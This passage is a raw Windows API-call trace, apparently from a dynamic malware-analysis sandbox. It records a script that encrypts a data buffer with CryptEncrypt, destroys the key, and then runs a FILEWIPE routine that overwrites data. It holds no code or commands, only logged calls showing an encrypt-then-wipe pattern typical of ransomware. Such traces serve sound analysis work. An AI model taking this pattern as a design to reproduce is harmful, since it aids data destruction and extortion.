(in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.710] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.711] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.711] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.711] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.711] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.711] CryptGetKeyParam (in: hKey=0xe8f4062aa0, dwParam=0x7, pbData=0xe8f40649c0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f40649c0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.711] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.711] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.711] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.711] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.711] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.711] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.711] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.711] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.711] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.712] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.712] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.712] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.712] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.712] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.712] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.712] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.712] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.712] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.712] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.712] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.712] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.712] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.712] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.712] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.712] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.712] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x5b80, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x5b90) returned 1 [0022.712] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.712] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.712] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.712] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.712] CharLowerBuffW (in: lpsz="byte[23441]", cchLength=0xb | out: lpsz="byte[23441]") returned 0xb [0022.712] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.713] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.713] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.713] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.713] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.713] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41cc0f0*, pdwDataLen=0xe8f3dfdf68*=0x5b80, dwBufLen=0x5b90 | out: pbData=0xe8f41cc0f0*, pdwDataLen=0xe8f3dfdf68*=0x5b90) returned 1 [0022.713] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.713] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.713] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.713] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.713] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.713] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.713] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.713] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.713] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.713] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.713] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.713] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.713] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.713] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.713] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.713] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.713] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.716] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.716] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.716] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.717] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.717] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.717] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.717] CryptDestroyKey (hKey=0xe8f4062aa0) returned 1 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.717] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.717] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.717] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.717] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.717] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.717] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.717] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.718] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.718] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.718] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.718] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.718] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.718] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0022.718] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.718] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.718] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.718] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.718] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.718] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.718] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.719] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.719] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.719] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.719] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.719] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.719] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.719] CharLowerBuffW (in: lpsz="byte[23424]", cchLength=0xb | out: lpsz="byte[23424]") returned 0xb [0022.719] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.720] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.720] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.720] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.720] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.720] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.721] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.722] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.722] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.722] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.722] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.722] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.722] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.722] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.722] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.722] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) 